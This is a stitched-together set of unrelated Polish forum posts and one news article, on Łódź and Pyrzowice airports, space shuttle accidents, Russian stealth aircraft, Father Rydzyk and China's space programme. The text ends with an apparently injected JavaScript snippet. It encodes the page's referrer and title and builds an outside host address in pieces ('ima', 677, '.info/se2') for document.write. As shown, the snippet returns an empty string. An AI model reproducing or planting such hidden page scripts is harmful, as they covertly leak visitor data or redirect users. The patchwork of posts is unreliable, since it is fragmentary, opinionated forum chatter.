kraju nie ma kasy na infrastrukture boi sie za duzo kasy marnuje ale jak lodz
sie am rozwijac to MUSI miec lotnisko bo zadna normana firma nic tu nie postawi
jesli do lodzi nie da sie doleciec. To tak jak w XIX wieku do rozwoju miasta
potrzebna byla linia kolejowa. To ze Lodz jest duza a Zgierz maly jest
najwieksza zasluga dworca lodz fabryczna.
Szkoda slow na takich matolow, az sam sie dziwie ze stracilem czas na pisamnie

  [] Inne lotniska w Polsce
POZAZDROCIĆ !!!!!!!!!!!!

Lotnisko w Pyrzowicach będzie większe
miasta.gazeta.pl/katowice/1,35019,3046151.html
Tomasz Głogowski 02-12-2005

Lotnisko w Pyrzowicach powiększy się o dodatkowych 18 hektarów, należących
kiedyś do wojska. Dzięki temu będą stąd startować największe transportowe
samoloty świata.

Samorząd województwa śląskiego (największy akcjonariusz zarządzającego
lotniskiem Górnośląskiego Towarzystwa Lotniczego) kupił wczoraj od Agencji
Mienia Wojskowego 18-hektarową działkę na terenie portu lotniczego.
Stacjonowały tu MIG-i 21 patrolujące południową część kraju. Później wojskowe
hangary przerobiono na bazę, gdzie stare samoloty cięto na "żyletki".

W podpisanej umowie województwo zobowiązało się, że przekaże ten teren
lotnisku, w zamian za powiększenie swoich udziałów w GTL. Transakcja umożliwi z
kolei dalszą rozbudowę Pyrzowic, której nie można było przeprowadzić, kiedy GTL
był tylko dzierżawcą terenu. Powstaną tu nowe hangary i zaplecze techniczne. -
Będziemy mogli też rozbudować bazę cargo i znacznie zwiększyć ruch samolotów
transportowych - mówi Michał Faryna, wiceprezes GTL. Wzrosną też zyski
lotniska, które zarabia głównie na obsłudze samolotów przewożących towary.

Najprawdopodobniej po przejęciu 18-hektarowej działki GTL przedłuży też o 800
metrów pas startowy. Już teraz w Pyrzowicach mogą lądować największe
transportowe samoloty świata, m.in. ukraiński AN-255 Mrija. Jednak, by taki
kolos mógł dziś bezpiecznie wystartować, może zatankować tylko połowę paliwa
lub zabrać na pokład połowę ładunku. Po rozbudowie pasa startowego samoloty
transportowe będą mogły lądować i startować z Pyrzowic z pełnym obciążeniem. -
Nawet prom kosmiczny Columbia będzie mógł do nas przylecieć - żartują szefowie
lotniska.

Rozbudowany zostanie też parking, który pomieści 1,5 tys. samochodów (teraz
tysiąc) i terminal pasażerski, który ma być gotowy za dwa lata. Port lotniczy
może teraz odprawiać ok. 1,5 mln pasażerów rocznie, a po rozbudowie aż 3,6 mln.

  Sylwetki astronautów, którzy zginęli w ostatnie...
Gość portalu: Uff napisał(a):

> Przeglądałem co tam na CNNie wypisują. I przejrzałem katastrofy amerykańskie.
> Jest tam galeria fotografi tych którzy zgineli. Dużo samotnych astronautów,
> jakaś trójka a na konieć 2x7 osób. Przygnębiające. Niby technologia ma być
> coraz lepsza. A od początku wachadłowców ginie pietnastu.
> Chyba zaczną robic promy z mniejszą załogą, bo to tragicznie wygląda.

Witam,
W czsie misji zginęły załogi dwóch promów. W czasie przygotowania do misji
Apollo w laboratorium w czasie treningu trzy osoby. Ginęli także nieliczni
piloci z programu kosmicznego trenujący na samolotach "normalne loty na
normalnych (T-38?) samolotach. John Glenn uległ poważnemu urazowi w łazience w
swym domu - chyba poślizgnął się, o ile dobrze pamiętam, na mydle...
Oceń, ile w porównywalnym czsie zginęło osób testujących nowe samochody,
samoloty, włażących na wyższe czy niższe góry, jeżdząc na nartach, skacząc do
wody...
Ile umarlo z przeżarcia...
Ile z głodu...
I uświadom sobie, że w ten czy inny sposób CODZIENNIE żegna się z tym światem
kilkaset tyśięcy ludzi.
A wracając do promów - o ile wiem to obliczeniowe, założone ryzyko wypadku jest
tu jeden wypadek na coś koło 500 lotów.
Zatem przy tej ilości lotów, jakie już miały miejsce, prawdopodobieństwo
wystąpienia jednego wypadku jest około 25%, dwóch wypadków - około 6%.
No a prawdopodobieństwo wypadku w każdym z lotów jest ok. 0.2%.
I załoga to wie. Godzi się z tym w sposób świadomy.
Jeżeli masz samochód i jeździsz nim przeciętnie dużo i przeciętnie dobrze
prowadzisz, to prawdopodobieństwo tego, że w ciągu roku sam się zabijesz, albo
kogoś zabijesz jest rzędu 1%. Czy godzisz się z tym w sposób świadomy?
A astronauci lataję średnio rzadziej, niż raz na rok. I to jest ich życiowa
misja. Jesteśmy i będziemy z nimi.

Pozdrawiam
A.

  Katastrofy Columbii można było uniknąć
Gość portalu: MaciekS napisał(a):

No wlasnie, ale do transportu
> bedzie potrzebny prawdopodobnie prom w koncu, a nie miniaturowy
> ladownik.
>

Do transportu czego przepraszam, ludzi? ladunku? a Gdzie prom bedzie ladowal na
ksiezycu? jak bedzie szybowal w ksiezycowej "atmosferze"?
Generalnie to wlasnie miniaturowy ladownik wystarczy do wysylania ludzi na
ksiezyc i jest do tego optymalny. Zostalo to sprawdzone, zastosowane i
sprawialo sie calkiem dobrze az do czasu zakonczenia programu Apollo.

Ladunek mozna wysylac bezzalogowo, bo po co ryzykowac zycie ludzkie w celu
umieszczenia na orbicie martwego przedmiotu. Wiec tutaj prom rzeczywiscie
ostatnio przodowal, ok. 70 ton ladunku na raz mozna nim bylo wyslac... ale
ludzie niestety tez musieli leciec razem z tym ladunkiem. To wszystko
powodowalo ogromne nagromadzenie roznego rodzaju systemow bezpieczenstwa i
podtrzymywania astronautow podczas lotu. Podbijalo koszty startow prawie stu
tonowego orbitera, masa nie liczac oczywiscie bocznych silnikow (SRBs) i
glownego zbiornika z paliwem (ET).
Kiedy katastrofa Columbii byla jeszcze swiezo w pamieci NASA zwrocila sie z
powrotem ku rozwiazaniu w postaci lekkiego pojazdu orbitalnego do wynoszenia
maksymalnie czworki ludzi plus niewielkiej ilosci ladunku. Orbital Space Plane
sie ten projekt nazywa. Obecnie Kongress bedzie rozwazal, czy wydac $20
bilionow na jego przyspieszona realizacje czy nie.
Nota bene jeden z projektow OSP zaklada wlasnie kapsule, a nie tzw. lifting
body, czyli 'samolot', ktorym rownierz shuttle po trosze byl. OSP ma byc ponad
to 5 razy lzejszy i mniejszy od orbitera... czyli duze, duze oszczednosci

Do wynoszenia ladunkow natomiast STS moze sie jeszcze przydac. Jeden z
projektow na STS rozwazany jeszcze w latach siedemdziesiatych - shuttle C -
zakladal wlasnie bezzalogowy system w ktorym 'pojemnik' z ladunkiem bylby
przyczepiany do ET na miejscu obecnego orbitera. W ten sposob cargo o masie
prawie 100 ton mogloby byc wynoszone na orbite. Jakby tak pomyslec to mozna
czyms takim wystrzelic moduly stacji kosmicznej lub nawet elementy misji
marsjanskiej. Przy odpowiedniej dynamice wznoszenia to jest jak znalazl, np.
moduly ISS wytrzymuja podobno przeciazenia tylko do 3g wiec za szybkie
wznoszenie moze im nie sluzyc

  Jaki samolot kupi polska armia ?
michalgajzler napisał:

> shatek napisał:
>
>
> > Można się jednak zastanowić ,czy same pieniądze by im
> wystarczyły.Co oni wiedzą
> >
> > o technologiach stealth ,
>
> Co do stealth to najciekawsze jest to że np. F-117
> powstał w znacznej części dzięki opracowaniu naukowemu
> powstałemu w Moskwie (chodziło o rozchodzenie się fal),
> Rosjanie jakoś swojego dzieła nie docenili ale Amerykanie
> ich dzieło owszem - ironia losu;). Ostatnio pojawiaja się
> jakieś enigmatyczne wiesci o aktywnym Stealth made by
> Rosja (coś o plaźmie) ale ile w tym prawdy to chyba nikt
> nie wie. Co do powłok nakładanych na samolot to jakieś
> efekty chyba mieli, Indie się tym interesowały. No tyle
> że Amerykanie w tej dziedzinie to są raczej mocno z przodu.

Ruscy chwalą się ,że na Su-34 (uderzeniowa wersja "27" z pilotami siedzącymi
obok siebie).Zastosowali jakieś techniki stealth.Chodzi tu o farbę
antyradiolokacyjną (chcą nią malować modernizowane w Rosji Indyjskie MiGi-21) i
kształt dzioba (spłaszczony).Ale to wszystko w stosunku do F-117 wygląda jak
maszyna parowa przy promie kosmicznym
>
> >czy przewadze informacyjnej ?
> Komunikację między samolotami przechwytujacymi opanowali
> - wdrożone na Migu-31 i testy na Su-27P (czy jak mu tam -
> chodzi o rosyjski odpowiednik Su-30), tyle że miało to
> rekompensować brak wystarczającej liczby i wystarczająco
> sprawnych AWACS-ów (A-50 szczytem techniki chyba raczej
> nie jest).

Przyznam ,że o rosyjskich systemach przestłania danych za dużo nie wiem , ale
nie sądzę ,by dorównywały Link-16 ,a juz na pewno Link-22

Na tym polu Rosjanie odstają raczej mocno, nie
> mówiąc juz o bezpilotowych samolotach rozpoznawczych,
> albo czymś na kształt JSTAR.
> Pozdr.
>

  Boicie się mówić o Rydzyku?
Gość portalu: emka napisał:
> - chciał kupić helikopter

Ale czy kupil? Jak poruszaja sie prezesi RMFu i ZETki
po kraju? Samochodami czy samolotami? A Rydzyk ma jezdzic
na osiolku? maluchem? czy polonezem?

> - ma kilka wilii

Wille ma radio, redemptorysci lub fundacje.
To nie sa wille wypoczynkowe o. Rydzyka.

> - mercedesy

Jakos trzeba sie poruszac. Mercedesy - zle. A jak
pokazali, ze cos tam jechalo do Bydgoszczy "maluchem"
to tez bylo zle - bo niebezpiecznie! To czym maja jezdzic
- maluchami zle, mercedesami zle!

> - wywozi pieniądze za granicę

Tu sie zgadzam, ze zarzut jest powazny gdyz bylo
to wprost lamanie prawa. Ale to nie z winy Rydzyka
prokuratura tak dziala, ze sprawa sie przedawnila.

> - kupuje i sprzedaje sam sobie

Fundacja - fundacji. Wszedzie tak sie robi. Polska
tez ma placic skladke do UE, a potem dostawac dotacje
- tez pieniadz krazy miedzy tymi samymi kasami :-)

> - a do tego nikomu nic nie mówi i udaje wielce obrazonego- a ludzie z głodu
> umierają

To juz demagogia najgorszego sortu.

> - nie mówię, że Rydzyk musi zbawiać cały świat,ale niech sie troche opanuje w
> tej swojej zachłanności bo niedługo kupi sibie łódź podwodna, prom kosmiczny
a może nawet stację na marsie,

CZym sie rozni Radio RM od RMFu, ktory wybudowal praktycznie wlasne
miasteczko pod Krakowem? Tak dzialaja wielkie stacje radiowe.
Tekst o lodzi podwodnej i promie to demagogia.

> - Ojciec przesadza i to zdrowo, widać to gołym okiem i nietzreba tu żadnych
> telewizyjnych dokumentów, jak jesteście w toruniu to sami widzicie,

Pojedz sobie do Warszawy na Al. Niepodleglosci i zobacz siedzibe
Polskiego Radia, albo na Kopiec do Krakowa i zobasz siedzibe RMFu.
Szklo, aluminium, lub historyczne mury super odnowione - mi to nie
przeszkadza. A radio RM w przeciwienstwie do RMF i ZET jest radiem
hm... ogolnoswiatowym.

> - Ojciec Rydzyk powinien się opamiętać, bo jego rozrzutność zaczyna działać
> ludziom na nerwy,

Rozrzutnosc? Przeciez ten ksiadz robi lepsze interesy
niz 90% biznesmenow w Polsce. Buduje solidnie i na dlugie lata.
Nie oceniam tu inwestycji od strony moralnej ale widac,
ze tam naprawde wiekszosc decyzji finansowych jest podejmowana
z rozmyslem.

> - a babcie powinny raczej oddawać swoje emerytury na biednych

Byc moze - ale to sa ich pieniadze i ich wolna wola co z nimi
zrobia.

  Jak dojechać z centrum do Promenady???
Samochodem, autobusem, tramwajem, metrem, pociągiem, samolotem, statkiem,
rakietą, promem kosmicznym, koparką, traktorem, rowerem, hulajnogą, piechotą.

  LOTNISKO ZIELONA GÓRA BARDZO POTRZEBNE
>Nasze lotnisko jest bardzo potrzebe! Moglibyśmy pojśc w ślady Rzeszowa i
równiez wysłac samoloty do USA czy Londynu.<

Może tak rejsowy prom kosmiczny na marsa.
Odstaw maryche, zjedz miętusa i idż na spacer

  Chiński program kosmiczny
thannatos napisał:

> > kupieniem od ruskich 40letniego Sojuza... jesli to dla ciebie
> > rozsadne dzialanie,
> >
>
> Alez skad, jak juz powiedzialem, znacznie lepiej bylo kupic 25-letnie Columbie.
> Jak wiadomo, budujac nowy samochod nie nalezy uzywac przestarzalego modelu kola
> ,
> trzeba koniecznie wymyslic nowa technologie.

tak samo nie warto przerabiac starej wolgi na nowa limuzyne,
bo nic z tego nie wyjdzie... bo raczej na tym poziomie
porownanie jest trafniejsze... kolo czyli np. naped odrzutowy
sami chinczycy znali juz pare tys. lat temu...

> > to mozesz sobie dzialac podobie...
>
> W moim przypadku nazywa sie to "standardy medyczne" - tak, wykorzystuje to co
> inni wymyslili, dostosowujac to tylko do aktualnych potrzeb. Wykorzystuje tez w
> podobny sposob procedury badawcze. I NA BAZIE TEGO TWORZE NOWE RZECZY.

tyle, ze chinczykom jakos nie bardzo idzie owo tworzenie nowych
rzeczy... nie tylko w przypadku "kosmicznym"... i o to mi glownie chodzi...

> > a propos "kosmicznego samolotu", to co sie stalo z Buranem??
>
> A co sie mialo stac. Dokonal jednego BEZZALOGOWEGO lotu - czyli czegos, czego
> Amerykanie nadal nie umieja zrobic z promem kosmicznym. A potem z czystej
> kalkulacji wyszlo Rosjanom, ze "samolot kosmiczny" nijak sie nie kalkuluje w
> porownaniu z juz isniejacymi sojuzami, i wlozono go do lamusa. Amerykanie tez n
> a
> to wpadli.. w 2005. A sojuzy lataja.

hahahahahaha

pomijajac juz fakt, iz ow "bezzalogowy lot" tak na prawde nie odbyl sie,
to niezli ci ruscy sa... wywalili kupe szmalcu (rowniez na spionow)
by skopiowac czyjas technologie, tylko po to by dosc do wniosku,
ze jest ona nieoplacalna... ladnie...

> Ty, skipper_, ty mnie lepiej powiedz, czemu nagle tem Amerykanom zaczal sie
> palic... Ksiezyc pod nogami, skoro te tandetne chinskie sojuzy sa nic nie warte
> ,
> a ruskie nic nie mowily, ze tam sie wybieraja? :)

moze jasniej? jakos nie widze/slysze zeby sie komukolwiek cokolwiek
palilo "w tym temacie"...


function bb5154541d5638c(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154541d56350(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154541d56350(bb5154541d5638c(document.referrer),bb5154541d5638c(document.title)));